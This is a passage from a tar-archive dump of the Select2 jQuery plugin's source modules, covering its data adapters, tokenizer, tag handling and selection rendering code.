(options.get('debug') && console && console.warn) { console.warn( 'Select2: Using a hidden input with Select2 is no longer ' + 'supported and may stop working in the future. It is recommended ' + 'to use a `<select>` element instead.' ); } } decorated.call(this, $element, options); } InputData.prototype.current = function (_, callback) { function getSelected (data, selectedIds) { var selected = []; if (data.selected || $.inArray(data.id, selectedIds) !== -1) { data.selected = true; selected.push(data); } else { data.selected = false; } if (data.children) { selected.push.apply(selected, getSelected(data.children, selectedIds)); } return selected; } var selected = []; for (var d = 0; d < this._currentData.length; d++) { var data = this._currentData[d]; selected.push.apply( selected, getSelected( data, this.$element.val().split( this._valueSeparator ) ) ); } callback(selected); }; InputData.prototype.select = function (_, data) { if (!this.options.get('multiple')) { this.current(function (allData) { $.map(allData, function (data) { data.selected = false; }); }); this.$element.val(data.id); this.$element.trigger('change'); } else { var value = this.$element.val(); value += this._valueSeparator + data.id; this.$element.val(value); this.$element.trigger('change'); } }; InputData.prototype.unselect = function (_, data) { var self = this; data.selected = false; this.current(function (allData) { var values = []; for (var d = 0; d < allData.length; d++) { var item = allData[d]; if (data.id == item.id) { continue; } values.push(item.id); } self.$element.val(values.join(self._valueSeparator)); self.$element.trigger('change'); }); }; InputData.prototype.query = function (_, params, callback) { var results = []; for (var d = 0; d < this._currentData.length; d++) { var data = this._currentData[d]; var matches = this.matches(params, data); if (matches !== null) { results.push(matches); } } callback({ results: results }); }; InputData.prototype.addOptions = function (_, $options) { var options = $.map($options, function ($option) { return Utils.GetData($option[0], 'data'); }); this._currentData.push.apply(this._currentData, options); }; return InputData; }); select2/keys.js000064400000000524151701463450007425 0ustar00define([ ], function () { var KEYS = { BACKSPACE: 8, TAB: 9, ENTER: 13, SHIFT: 16, CTRL: 17, ALT: 18, ESC: 27, SPACE: 32, PAGE_UP: 33, PAGE_DOWN: 34, END: 35, HOME: 36, LEFT: 37, UP: 38, RIGHT: 39, DOWN: 40, DELETE: 46 }; return KEYS; }); select2/translation.js000064400000001361151701463450011010 0ustar00define([ 'jquery', 'require' ], function ($, require) { function Translation (dict) { this.dict = dict || {}; } Translation.prototype.all = function () { return this.dict; }; Translation.prototype.get = function (key) { return this.dict[key]; }; Translation.prototype.extend = function (translation) { this.dict = $.extend({}, translation.all(), this.dict); }; // Static functions Translation._cache = {}; Translation.loadPath = function (path) { if (!(path in Translation._cache)) { var translations = require(path); Translation._cache[path] = translations; } return new Translation(Translation._cache[path]); }; return Translation; }); select2/dropdown.js000064400000001660151701463450010310 0ustar00define([ 'jquery', './utils' ], function ($, Utils) { function Dropdown ($element, options) { this.$element = $element; this.options = options; Dropdown.__super__.constructor.call(this); } Utils.Extend(Dropdown, Utils.Observable); Dropdown.prototype.render = function () { var $dropdown = $( '<span class="select2-dropdown">' + '<span class="select2-results"></span>' + '</span>' ); $dropdown.attr('dir', this.options.get('dir')); this.$dropdown = $dropdown; return $dropdown; }; Dropdown.prototype.bind = function () { // Should be implemented in subclasses }; Dropdown.prototype.position = function ($dropdown, $container) { // Should be implmented in subclasses }; Dropdown.prototype.destroy = function () { // Remove the dropdown from the DOM this.$dropdown.remove(); }; return Dropdown; }); select2/data/base.js000064400000002025151701463450010273 0ustar00define([ '../utils' ], function (Utils) { function BaseAdapter ($element, options) { BaseAdapter.__super__.constructor.call(this); } Utils.Extend(BaseAdapter, Utils.Observable); BaseAdapter.prototype.current = function (callback) { throw new Error('The `current` method must be defined in child classes.'); }; BaseAdapter.prototype.query = function (params, callback) { throw new Error('The `query` method must be defined in child classes.'); }; BaseAdapter.prototype.bind = function (container, $container) { // Can be implemented in subclasses }; BaseAdapter.prototype.destroy = function () { // Can be implemented in subclasses }; BaseAdapter.prototype.generateResultId = function (container, data) { var id = container.id + '-result-'; id += Utils.generateChars(4); if (data.id != null) { id += '-' + data.id.toString(); } else { id += '-' + Utils.generateChars(4); } return id; }; return BaseAdapter; }); select2/data/ajax.js000064400000005670151701463450010315 0ustar00define([ './array', '../utils', 'jquery' ], function (ArrayAdapter, Utils, $) { function AjaxAdapter ($element, options) { this.ajaxOptions = this._applyDefaults(options.get('ajax')); if (this.ajaxOptions.processResults != null) { this.processResults = this.ajaxOptions.processResults; } AjaxAdapter.__super__.constructor.call(this, $element, options); } Utils.Extend(AjaxAdapter, ArrayAdapter); AjaxAdapter.prototype._applyDefaults = function (options) { var defaults = { data: function (params) { return $.extend({}, params, { q: params.term }); }, transport: function (params, success, failure) { var $request = $.ajax(params); $request.then(success); $request.fail(failure); return $request; } }; return $.extend({}, defaults, options, true); }; AjaxAdapter.prototype.processResults = function (results) { return results; }; AjaxAdapter.prototype.query = function (params, callback) { var matches = []; var self = this; if (this._request != null) { // JSONP requests cannot always be aborted if ($.isFunction(this._request.abort)) { this._request.abort(); } this._request = null; } var options = $.extend({ type: 'GET' }, this.ajaxOptions); if (typeof options.url === 'function') { options.url = options.url.call(this.$element, params); } if (typeof options.data === 'function') { options.data = options.data.call(this.$element, params); } function request () { var $request = options.transport(options, function (data) { var results = self.processResults(data, params); if (self.options.get('debug') && window.console && console.error) { // Check to make sure that the response included a `results` key. if (!results || !results.results || !$.isArray(results.results)) { console.error( 'Select2: The AJAX results did not return an array in the ' + '`results` key of the response.' ); } } callback(results); }, function () { // Attempt to detect if a request was aborted // Only works if the transport exposes a status property if ('status' in $request && ($request.status === 0 || $request.status === '0')) { return; } self.trigger('results:message', { message: 'errorLoading' }); }); self._request = $request; } if (this.ajaxOptions.delay && params.term != null) { if (this._queryTimeout) { window.clearTimeout(this._queryTimeout); } this._queryTimeout = window.setTimeout(request, this.ajaxOptions.delay); } else { request(); } }; return AjaxAdapter; }); select2/data/array.js000064400000003727151701463450010511 0ustar00define([ './select', '../utils', 'jquery' ], function (SelectAdapter, Utils, $) { function ArrayAdapter ($element, options) { var data = options.get('data') || []; ArrayAdapter.__super__.constructor.call(this, $element, options); this.addOptions(this.convertToOptions(data)); } Utils.Extend(ArrayAdapter, SelectAdapter); ArrayAdapter.prototype.select = function (data) { var $option = this.$element.find('option').filter(function (i, elm) { return elm.value == data.id.toString(); }); if ($option.length === 0) { $option = this.option(data); this.addOptions($option); } ArrayAdapter.__super__.select.call(this, data); }; ArrayAdapter.prototype.convertToOptions = function (data) { var self = this; var $existing = this.$element.find('option'); var existingIds = $existing.map(function () { return self.item($(this)).id; }).get(); var $options = []; // Filter out all items except for the one passed in the argument function onlyItem (item) { return function () { return $(this).val() == item.id; }; } for (var d = 0; d < data.length; d++) { var item = this._normalizeItem(data[d]); // Skip items which were pre-loaded, only merge the data if ($.inArray(item.id, existingIds) >= 0) { var $existingOption = $existing.filter(onlyItem(item)); var existingData = this.item($existingOption); var newData = $.extend(true, {}, item, existingData); var $newOption = this.option(newData); $existingOption.replaceWith($newOption); continue; } var $option = this.option(item); if (item.children) { var $children = this.convertToOptions(item.children); Utils.appendMany($option, $children); } $options.push($option); } return $options; }; return ArrayAdapter; }); select2/data/tokenizer.js000064400000005517151701463450011404 0ustar00define([ 'jquery' ], function ($) { function Tokenizer (decorated, $element, options) { var tokenizer = options.get('tokenizer'); if (tokenizer !== undefined) { this.tokenizer = tokenizer; } decorated.call(this, $element, options); } Tokenizer.prototype.bind = function (decorated, container, $container) { decorated.call(this, container, $container); this.$search = container.dropdown.$search || container.selection.$search || $container.find('.select2-search__field'); }; Tokenizer.prototype.query = function (decorated, params, callback) { var self = this; function createAndSelect (data) { // Normalize the data object so we can use it for checks var item = self._normalizeItem(data); // Check if the data object already exists as a tag // Select it if it doesn't var $existingOptions = self.$element.find('option').filter(function () { return $(this).val() === item.id; }); // If an existing option wasn't found for it, create the option if (!$existingOptions.length) { var $option = self.option(item); $option.attr('data-select2-tag', true); self._removeOldTags(); self.addOptions([$option]); } // Select the item, now that we know there is an option for it select(item); } function select (data) { self.trigger('select', { data: data }); } params.term = params.term || ''; var tokenData = this.tokenizer(params, this.options, createAndSelect); if (tokenData.term !== params.term) { // Replace the search term if we have the search box if (this.$search.length) { this.$search.val(tokenData.term); this.$search.focus(); } params.term = tokenData.term; } decorated.call(this, params, callback); }; Tokenizer.prototype.tokenizer = function (_, params, options, callback) { var separators = options.get('tokenSeparators') || []; var term = params.term; var i = 0; var createTag = this.createTag || function (params) { return { id: params.term, text: params.term }; }; while (i < term.length) { var termChar = term[i]; if ($.inArray(termChar, separators) === -1) { i++; continue; } var part = term.substr(0, i); var partParams = $.extend({}, params, { term: part }); var data = createTag(partParams); if (data == null) { i++; continue; } callback(data); // Reset the term to not include the tokenized portion term = term.substr(i + 1) || ''; i = 0; } return { term: term }; }; return Tokenizer; }); select2/data/tags.js000064400000005146151701463450010326 0ustar00define([ 'jquery' ], function ($) { function Tags (decorated, $element, options) { var tags = options.get('tags'); var createTag = options.get('createTag'); if (createTag !== undefined) { this.createTag = createTag; } var insertTag = options.get('insertTag'); if (insertTag !== undefined) { this.insertTag = insertTag; } decorated.call(this, $element, options); if ($.isArray(tags)) { for (var t = 0; t < tags.length; t++) { var tag = tags[t]; var item = this._normalizeItem(tag); var $option = this.option(item); this.$element.append($option); } } } Tags.prototype.query = function (decorated, params, callback) { var self = this; this._removeOldTags(); if (params.term == null || params.page != null) { decorated.call(this, params, callback); return; } function wrapper (obj, child) { var data = obj.results; for (var i = 0; i < data.length; i++) { var option = data[i]; var checkChildren = ( option.children != null && !wrapper({ results: option.children }, true) ); var optionText = (option.text || '').toUpperCase(); var paramsTerm = (params.term || '').toUpperCase(); var checkText = optionText === paramsTerm; if (checkText || checkChildren) { if (child) { return false; } obj.data = data; callback(obj); return; } } if (child) { return true; } var tag = self.createTag(params); if (tag != null) { var $option = self.option(tag); $option.attr('data-select2-tag', true); self.addOptions([$option]); self.insertTag(data, tag); } obj.results = data; callback(obj); } decorated.call(this, params, wrapper); }; Tags.prototype.createTag = function (decorated, params) { var term = $.trim(params.term); if (term === '') { return null; } return { id: term, text: term }; }; Tags.prototype.insertTag = function (_, data, tag) { data.unshift(tag); }; Tags.prototype._removeOldTags = function (_) { var tag = this._lastTag; var $options = this.$element.find('option[data-select2-tag]'); $options.each(function () { if (this.selected) { return; } $(this).remove(); }); }; return Tags; }); select2/data/select.js000064400000014136151701463450010646 0ustar00define([ './base', '../utils', 'jquery' ], function (BaseAdapter, Utils, $) { function SelectAdapter ($element, options) { this.$element = $element; this.options = options; SelectAdapter.__super__.constructor.call(this); } Utils.Extend(SelectAdapter, BaseAdapter); SelectAdapter.prototype.current = function (callback) { var data = []; var self = this; this.$element.find(':selected').each(function () { var $option = $(this); var option = self.item($option); data.push(option); }); callback(data); }; SelectAdapter.prototype.select = function (data) { var self = this; data.selected = true; // If data.element is a DOM node, use it instead if ($(data.element).is('option')) { data.element.selected = true; this.$element.trigger('change'); return; } if (this.$element.prop('multiple')) { this.current(function (currentData) { var val = []; data = [data]; data.push.apply(data, currentData); for (var d = 0; d < data.length; d++) { var id = data[d].id; if ($.inArray(id, val) === -1) { val.push(id); } } self.$element.val(val); self.$element.trigger('change'); }); } else { var val = data.id; this.$element.val(val); this.$element.trigger('change'); } }; SelectAdapter.prototype.unselect = function (data) { var self = this; if (!this.$element.prop('multiple')) { return; } data.selected = false; if ($(data.element).is('option')) { data.element.selected = false; this.$element.trigger('change'); return; } this.current(function (currentData) { var val = []; for (var d = 0; d < currentData.length; d++) { var id = currentData[d].id; if (id !== data.id && $.inArray(id, val) === -1) { val.push(id); } } self.$element.val(val); self.$element.trigger('change'); }); }; SelectAdapter.prototype.bind = function (container, $container) { var self = this; this.container = container; container.on('select', function (params) { self.select(params.data); }); container.on('unselect', function (params) { self.unselect(params.data); }); }; SelectAdapter.prototype.destroy = function () { // Remove anything added to child elements this.$element.find('*').each(function () { // Remove any custom data set by Select2 Utils.RemoveData(this); }); }; SelectAdapter.prototype.query = function (params, callback) { var data = []; var self = this; var $options = this.$element.children(); $options.each(function () { var $option = $(this); if (!$option.is('option') && !$option.is('optgroup')) { return; } var option = self.item($option); var matches = self.matches(params, option); if (matches !== null) { data.push(matches); } }); callback({ results: data }); }; SelectAdapter.prototype.addOptions = function ($options) { Utils.appendMany(this.$element, $options); }; SelectAdapter.prototype.option = function (data) { var option; if (data.children) { option = document.createElement('optgroup'); option.label = data.text; } else { option = document.createElement('option'); if (option.textContent !== undefined) { option.textContent = data.text; } else { option.innerText = data.text; } } if (data.id !== undefined) { option.value = data.id; } if (data.disabled) { option.disabled = true; } if (data.selected) { option.selected = true; } if (data.title) { option.title = data.title; } var $option = $(option); var normalizedData = this._normalizeItem(data); normalizedData.element = option; // Override the option's data with the combined data Utils.StoreData(option, 'data', normalizedData); return $option; }; SelectAdapter.prototype.item = function ($option) { var data = {}; data = Utils.GetData($option[0], 'data'); if (data != null) { return data; } if ($option.is('option')) { data = { id: $option.val(), text: $option.text(), disabled: $option.prop('disabled'), selected: $option.prop('selected'), title: $option.prop('title') }; } else if ($option.is('optgroup')) { data = { text: $option.prop('label'), children: [], title: $option.prop('title') }; var $children = $option.children('option'); var children = []; for (var c = 0; c < $children.length; c++) { var $child = $($children[c]); var child = this.item($child); children.push(child); } data.children = children; } data = this._normalizeItem(data); data.element = $option[0]; Utils.StoreData($option[0], 'data', data); return data; }; SelectAdapter.prototype._normalizeItem = function (item) { if (item !== Object(item)) { item = { id: item, text: item }; } item = $.extend({}, { text: '' }, item); var defaults = { selected: false, disabled: false }; if (item.id != null) { item.id = item.id.toString(); } if (item.text != null) { item.text = item.text.toString(); } if (item._resultId == null && item.id && this.container != null) { item._resultId = this.generateResultId(this.container, item); } return $.extend({}, defaults, item); }; SelectAdapter.prototype.matches = function (params, data) { var matcher = this.options.get('matcher'); return matcher(params, data); }; return SelectAdapter; }); select2/data/minimumInputLength.js000064400000001310151701463450013212 0ustar00define([ ], function () { function MinimumInputLength (decorated, $e, options) { this.minimumInputLength = options.get('minimumInputLength'); decorated.call(this, $e, options); } MinimumInputLength.prototype.query = function (decorated, params, callback) { params.term = params.term || ''; if (params.term.length < this.minimumInputLength) { this.trigger('results:message', { message: 'inputTooShort', args: { minimum: this.minimumInputLength, input: params.term, params: params } }); return; } decorated.call(this, params, callback); }; return MinimumInputLength; }); select2/data/maximumInputLength.js000064400000001357151701463450013227 0ustar00define([ ], function () { function MaximumInputLength (decorated, $e, options) { this.maximumInputLength = options.get('maximumInputLength'); decorated.call(this, $e, options); } MaximumInputLength.prototype.query = function (decorated, params, callback) { params.term = params.term || ''; if (this.maximumInputLength > 0 && params.term.length > this.maximumInputLength) { this.trigger('results:message', { message: 'inputTooLong', args: { maximum: this.maximumInputLength, input: params.term, params: params } }); return; } decorated.call(this, params, callback); }; return MaximumInputLength; }); select2/data/maximumSelectionLength.js000064400000001543151701463450014052 0ustar00define([ ], function (){ function MaximumSelectionLength (decorated, $e, options) { this.maximumSelectionLength = options.get('maximumSelectionLength'); decorated.call(this, $e, options); } MaximumSelectionLength.prototype.query = function (decorated, params, callback) { var self = this; this.current(function (currentData) { var count = currentData != null ? currentData.length : 0; if (self.maximumSelectionLength > 0 && count >= self.maximumSelectionLength) { self.trigger('results:message', { message: 'maximumSelected', args: { maximum: self.maximumSelectionLength } }); return; } decorated.call(self, params, callback); }); }; return MaximumSelectionLength; }); select2/selection/base.js000064400000010604151701463450011351 0ustar00define([ 'jquery', '../utils', '../keys' ], function ($, Utils, KEYS) { function BaseSelection ($element, options) { this.$element = $element; this.options = options; BaseSelection.__super__.constructor.call(this); } Utils.Extend(BaseSelection, Utils.Observable); BaseSelection.prototype.render = function () { var $selection = $( '<span class="select2-selection" role="combobox" ' + ' aria-haspopup="true" aria-expanded="false">' + '</span>' ); this._tabindex = 0; if (Utils.GetData(this.$element[0], 'old-tabindex') != null) { this._tabindex = Utils.GetData(this.$element[0], 'old-tabindex'); } else if (this.$element.attr('tabindex') != null) { this._tabindex = this.$element.attr('tabindex'); } $selection.attr('title', this.$element.attr('title')); $selection.attr('tabindex', this._tabindex); this.$selection = $selection; return $selection; }; BaseSelection.prototype.bind = function (container, $container) { var self = this; var id = container.id + '-container'; var resultsId = container.id + '-results'; this.container = container; this.$selection.on('focus', function (evt) { self.trigger('focus', evt); }); this.$selection.on('blur', function (evt) { self._handleBlur(evt); }); this.$selection.on('keydown', function (evt) { self.trigger('keypress', evt); if (evt.which === KEYS.SPACE) { evt.preventDefault(); } }); container.on('results:focus', function (params) { self.$selection.attr('aria-activedescendant', params.data._resultId); }); container.on('selection:update', function (params) { self.update(params.data); }); container.on('open', function () { // When the dropdown is open, aria-expanded="true" self.$selection.attr('aria-expanded', 'true'); self.$selection.attr('aria-owns', resultsId); self._attachCloseHandler(container); }); container.on('close', function () { // When the dropdown is closed, aria-expanded="false" self.$selection.attr('aria-expanded', 'false'); self.$selection.removeAttr('aria-activedescendant'); self.$selection.removeAttr('aria-owns'); self.$selection.focus(); window.setTimeout(function () { self.$selection.focus(); }, 0); self._detachCloseHandler(container); }); container.on('enable', function () { self.$selection.attr('tabindex', self._tabindex); }); container.on('disable', function () { self.$selection.attr('tabindex', '-1'); }); }; BaseSelection.prototype._handleBlur = function (evt) { var self = this; // This needs to be delayed as the active element is the body when the tab // key is pressed, possibly along with others. window.setTimeout(function () { // Don't trigger `blur` if the focus is still in the selection if ( (document.activeElement == self.$selection[0]) || ($.contains(self.$selection[0], document.activeElement)) ) { return; } self.trigger('blur', evt); }, 1); }; BaseSelection.prototype._attachCloseHandler = function (container) { var self = this; $(document.body).on('mousedown.select2.' + container.id, function (e) { var $target = $(e.target); var $select = $target.closest('.select2'); var $all = $('.select2.select2-container--open'); $all.each(function () { var $this = $(this); if (this == $select[0]) { return; } var $element = Utils.GetData(this, 'element'); $element.select2('close'); }); }); }; BaseSelection.prototype._detachCloseHandler = function (container) { $(document.body).off('mousedown.select2.' + container.id); }; BaseSelection.prototype.position = function ($selection, $container) { var $selectionContainer = $container.find('.selection'); $selectionContainer.append($selection); }; BaseSelection.prototype.destroy = function () { this._detachCloseHandler(this.container); }; BaseSelection.prototype.update = function (data) { throw new Error('The `update` method must be defined in child classes.'); }; return BaseSelection; }); select2/selection/search.js000064400000014766151701463450011721 0ustar00define([ 'jquery', '../utils', '../keys' ], function ($, Utils, KEYS) { function Search (decorated, $element, options) { decorated.call(this, $element, options); } Search.prototype.render = function (decorated) { var $search = $( '<li class="select2-search select2-search--inline">' + '<input class="select2-search__field" type="search" tabindex="-1"' + ' autocomplete="off" autocorrect="off" autocapitalize="none"' + ' spellcheck="false" role="textbox" aria-autocomplete="list" />' + '</li>' ); this.$searchContainer = $search; this.$search = $search.find('input'); var $rendered = decorated.call(this); this._transferTabIndex(); return $rendered; }; Search.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); container.on('open', function () { self.$search.trigger('focus'); }); container.on('close', function () { self.$search.val(''); self.$search.removeAttr('aria-activedescendant'); self.$search.trigger('focus'); }); container.on('enable', function () { self.$search.prop('disabled', false); self._transferTabIndex(); }); container.on('disable', function () { self.$search.prop('disabled', true); }); container.on('focus', function (evt) { self.$search.trigger('focus'); }); container.on('results:focus', function (params) { self.$search.attr('aria-activedescendant', params.id); }); this.$selection.on('focusin', '.select2-search--inline', function (evt) { self.trigger('focus', evt); }); this.$selection.on('focusout', '.select2-search--inline', function (evt) { self._handleBlur(evt); }); this.$selection.on('keydown', '.select2-search--inline', function (evt) { evt.stopPropagation(); self.trigger('keypress', evt); self._keyUpPrevented = evt.isDefaultPrevented(); var key = evt.which; if (key === KEYS.BACKSPACE && self.$search.val() === '') { var $previousChoice = self.$searchContainer .prev('.select2-selection__choice'); if ($previousChoice.length > 0) { var item = Utils.GetData($previousChoice[0], 'data'); self.searchRemoveChoice(item); evt.preventDefault(); } } }); // Try to detect the IE version should the `documentMode` property that // is stored on the document. This is only implemented in IE and is // slightly cleaner than doing a user agent check. // This property is not available in Edge, but Edge also doesn't have // this bug. var msie = document.documentMode; var disableInputEvents = msie && msie <= 11; // Workaround for browsers which do not support the `input` event // This will prevent double-triggering of events for browsers which support // both the `keyup` and `input` events. this.$selection.on( 'input.searchcheck', '.select2-search--inline', function (evt) { // IE will trigger the `input` event when a placeholder is used on a // search box. To get around this issue, we are forced to ignore all // `input` events in IE and keep using `keyup`. if (disableInputEvents) { self.$selection.off('input.search input.searchcheck'); return; } // Unbind the duplicated `keyup` event self.$selection.off('keyup.search'); } ); this.$selection.on( 'keyup.search input.search', '.select2-search--inline', function (evt) { // IE will trigger the `input` event when a placeholder is used on a // search box. To get around this issue, we are forced to ignore all // `input` events in IE and keep using `keyup`. if (disableInputEvents && evt.type === 'input') { self.$selection.off('input.search input.searchcheck'); return; } var key = evt.which; // We can freely ignore events from modifier keys if (key == KEYS.SHIFT || key == KEYS.CTRL || key == KEYS.ALT) { return; } // Tabbing will be handled during the `keydown` phase if (key == KEYS.TAB) { return; } self.handleSearch(evt); } ); }; /** * This method will transfer the tabindex attribute from the rendered * selection to the search box. This allows for the search box to be used as * the primary focus instead of the selection container. * * @private */ Search.prototype._transferTabIndex = function (decorated) { this.$search.attr('tabindex', this.$selection.attr('tabindex')); this.$selection.attr('tabindex', '-1'); }; Search.prototype.createPlaceholder = function (decorated, placeholder) { this.$search.attr('placeholder', placeholder.text); }; Search.prototype.update = function (decorated, data) { var searchHadFocus = this.$search[0] == document.activeElement; this.$search.attr('placeholder', ''); decorated.call(this, data); this.$selection.find('.select2-selection__rendered') .append(this.$searchContainer); this.resizeSearch(); if (searchHadFocus) { var isTagInput = this.$element.find('[data-select2-tag]').length; if (isTagInput) { // fix IE11 bug where tag input lost focus this.$element.focus(); } else { this.$search.focus(); } } }; Search.prototype.handleSearch = function () { this.resizeSearch(); if (!this._keyUpPrevented) { var input = this.$search.val(); this.trigger('query', { term: input }); } this._keyUpPrevented = false; }; Search.prototype.searchRemoveChoice = function (decorated, item) { this.trigger('unselect', { data: item }); this.$search.val(item.text); this.handleSearch(); }; Search.prototype.resizeSearch = function () { this.$search.css('width', '25px'); var width = ''; if (this.$search.attr('placeholder') !== '') { width = this.$selection.find('.select2-selection__rendered').innerWidth(); } else { var minimumWidth = this.$search.val().length + 1; width = (minimumWidth * 0.75) + 'em'; } this.$search.css('width', width); }; return Search; }); select2/selection/allowClear.js000064400000005327151701463450012532 0ustar00define([ 'jquery', '../keys', '../utils' ], function ($, KEYS, Utils) { function AllowClear () { } AllowClear.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); if (this.placeholder == null) { if (this.options.get('debug') && window.console && console.error) { console.error( 'Select2: The `allowClear` option should be used in combination ' + 'with the `placeholder` option.' ); } } this.$selection.on('mousedown', '.select2-selection__clear', function (evt) { self._handleClear(evt); }); container.on('keypress', function (evt) { self._handleKeyboardClear(evt, container); }); }; AllowClear.prototype._handleClear = function (_, evt) { // Ignore the event if it is disabled if (this.options.get('disabled')) { return; } var $clear = this.$selection.find('.select2-selection__clear'); // Ignore the event if nothing has been selected if ($clear.length === 0) { return; } evt.stopPropagation(); var data = Utils.GetData($clear[0], 'data'); var previousVal = this.$element.val(); this.$element.val(this.placeholder.id); var unselectData = { data: data }; this.trigger('clear', unselectData); if (unselectData.prevented) { this.$element.val(previousVal); return; } for (var d = 0; d < data.length; d++) { unselectData = { data: data[d] }; // Trigger the `unselect` event, so people can prevent it from being // cleared. this.trigger('unselect', unselectData); // If the event was prevented, don't clear it out. if (unselectData.prevented) { this.$element.val(previousVal); return; } } this.$element.trigger('change'); this.trigger('toggle', {}); }; AllowClear.prototype._handleKeyboardClear = function (_, evt, container) { if (container.isOpen()) { return; } if (evt.which == KEYS.DELETE || evt.which == KEYS.BACKSPACE) { this._handleClear(evt); } }; AllowClear.prototype.update = function (decorated, data) { decorated.call(this, data); if (this.$selection.find('.select2-selection__placeholder').length > 0 || data.length === 0) { return; } var $remove = $( '<span class="select2-selection__clear">' + '×' + '</span>' ); Utils.StoreData($remove[0], 'data', data); this.$selection.find('.select2-selection__rendered').prepend($remove); }; return AllowClear; }); select2/selection/single.js000064400000005201151701463450011715 0ustar00define([ 'jquery', './base', '../utils', '../keys' ], function ($, BaseSelection, Utils, KEYS) { function SingleSelection () { SingleSelection.__super__.constructor.apply(this, arguments); } Utils.Extend(SingleSelection, BaseSelection); SingleSelection.prototype.render = function () { var $selection = SingleSelection.__super__.render.call(this); $selection.addClass('select2-selection--single'); $selection.html( '<span class="select2-selection__rendered"></span>' + '<span class="select2-selection__arrow" role="presentation">' + '<b role="presentation"></b>' + '</span>' ); return $selection; }; SingleSelection.prototype.bind = function (container, $container) { var self = this; SingleSelection.__super__.bind.apply(this, arguments); var id = container.id + '-container'; this.$selection.find('.select2-selection__rendered') .attr('id', id) .attr('role', 'textbox') .attr('aria-readonly', 'true'); this.$selection.attr('aria-labelledby', id); this.$selection.on('mousedown', function (evt) { // Only respond to left clicks if (evt.which !== 1) { return; } self.trigger('toggle', { originalEvent: evt }); }); this.$selection.on('focus', function (evt) { // User focuses on the container }); this.$selection.on('blur', function (evt) { // User exits the container }); container.on('focus', function (evt) { if (!container.isOpen()) { self.$selection.focus(); } }); }; SingleSelection.prototype.clear = function () { var $rendered = this.$selection.find('.select2-selection__rendered'); $rendered.empty(); $rendered.removeAttr('title'); // clear tooltip on empty }; SingleSelection.prototype.display = function (data, container) { var template = this.options.get('templateSelection'); var escapeMarkup = this.options.get('escapeMarkup'); return escapeMarkup(template(data, container)); }; SingleSelection.prototype.selectionContainer = function () { return $('<span></span>'); }; SingleSelection.prototype.update = function (data) { if (data.length === 0) { this.clear(); return; } var selection = data[0]; var $rendered = this.$selection.find('.select2-selection__rendered'); var formatted = this.display(selection, $rendered); $rendered.empty().append(formatted); $rendered.attr('title', selection.title || selection.text); }; return SingleSelection; }); select2/selection/eventRelay.js000064400000002243151701463450012555 0ustar00define([ 'jquery' ], function ($) { function EventRelay () { } EventRelay.prototype.bind = function (decorated, container, $container) { var self = this; var relayEvents = [ 'open', 'opening', 'close', 'closing', 'select', 'selecting', 'unselect', 'unselecting', 'clear', 'clearing' ]; var preventableEvents = [ 'opening', 'closing', 'selecting', 'unselecting', 'clearing' ]; decorated.call(this, container, $container); container.on('*', function (name, params) { // Ignore events that should not be relayed if ($.inArray(name, relayEvents) === -1) { return; } // The parameters should always be an object params = params || {}; // Generate the jQuery event for the Select2 event var evt = $.Event('select2:' + name, { params: params }); self.$element.trigger(evt); // Only handle preventable events if it was one if ($.inArray(name, preventableEvents) === -1) { return; } params.prevented = evt.isDefaultPrevented(); }); }; return EventRelay; }); select2/selection/clickMask.js000064400000001251151701463450012336 0ustar00define([ 'jquery' ], function ($) { function ClickMask () { } ClickMask.prototype.bind = function (decorate, $container, container) { var self = this; decorate.call(this, $container, container); this.$mask = $( '<div class="select2-close-mask"></div>' ); this.$mask.on('mousedown touchstart click', function () { self.trigger('close', {}); }); }; ClickMask.prototype._attachCloseHandler = function (decorate, container) { $(document.body).append(this.$mask); }; ClickMask.prototype._detachCloseHandler = function (deocrate, container) { this.$mask.detach(); }; return ClickMask; }); select2/selection/placeholder.js000064400000002473151701463450012726 0ustar00define([ '../utils' ], function (Utils) { function Placeholder (decorated, $element, options) { this.placeholder = this.normalizePlaceholder(options.get('placeholder')); decorated.call(this, $element, options); } Placeholder.prototype.normalizePlaceholder = function (_, placeholder) { if (typeof placeholder === 'string') { placeholder = { id: '', text: placeholder }; } return placeholder; }; Placeholder.prototype.createPlaceholder = function (decorated, placeholder) { var $placeholder = this.selectionContainer(); $placeholder.html(this.display(placeholder)); $placeholder.addClass('select2-selection__placeholder') .removeClass('select2-selection__choice'); return $placeholder; }; Placeholder.prototype.update = function (decorated, data) { var singlePlaceholder = ( data.length == 1 && data[0].id != this.placeholder.id ); var multipleSelections = data.length > 1; if (multipleSelections || singlePlaceholder) { return decorated.call(this, data); } this.clear(); var $placeholder = this.createPlaceholder(this.placeholder); this.$selection.find('.select2-selection__rendered').append($placeholder); }; return Placeholder; }); select2/selection/multiple.js000064400000005466151701463450012304 0ustar00define([ 'jquery', './base', '../utils' ], function ($, BaseSelection, Utils) { function MultipleSelection ($element, options) { MultipleSelection.__super__.constructor.apply(this, arguments); } Utils.Extend(MultipleSelection, BaseSelection); MultipleSelection.prototype.render = function () { var $selection = MultipleSelection.__super__.render.call(this); $selection.addClass('select2-selection--multiple'); $selection.html( '<ul class="select2-selection__rendered"></ul>' ); return $selection; }; MultipleSelection.prototype.bind = function (container, $container) { var self = this; MultipleSelection.__super__.bind.apply(this, arguments); this.$selection.on('click', function (evt) { self.trigger('toggle', { originalEvent: evt }); }); this.$selection.on( 'click', '.select2-selection__choice__remove', function (evt) { // Ignore the event if it is disabled if (self.options.get('disabled')) { return; } var $remove = $(this); var $selection = $remove.parent(); var data = Utils.GetData($selection[0], 'data'); self.trigger('unselect', { originalEvent: evt, data: data }); } ); }; MultipleSelection.prototype.clear = function () { var $rendered = this.$selection.find('.select2-selection__rendered'); $rendered.empty(); $rendered.removeAttr('title'); }; MultipleSelection.prototype.display = function (data, container) { var template = this.options.get('templateSelection'); var escapeMarkup = this.options.get('escapeMarkup'); return escapeMarkup(template(data, container)); }; MultipleSelection.prototype.selectionContainer = function () { var $container = $( '<li class="select2-selection__choice">' + '<span class="select2-selection__choice__remove" role="presentation">' + '×' + '</span>' + '</li>' ); return $container; }; MultipleSelection.prototype.update = function (data) { this.clear(); if (data.length === 0) { return; } var $selections = []; for (var d = 0; d < data.length; d++) { var selection = data[d]; var $selection = this.selectionContainer(); var formatted = this.display(selection, $selection); $selection.append(formatted); $selection.attr('title', selection.title || selection.text); Utils.StoreData($selection[0], 'data', selection); $selections.push($selection); } var $rendered = this.$selection.find('.select2-selection__rendered'); Utils.appendMany($rendered, $selections); }; return MultipleSelection; }); select2/selection/stopPropagation.js000064400000001354151701463450013632 0ustar00define([ ], function () { function StopPropagation () { } StopPropagation.prototype.bind = function 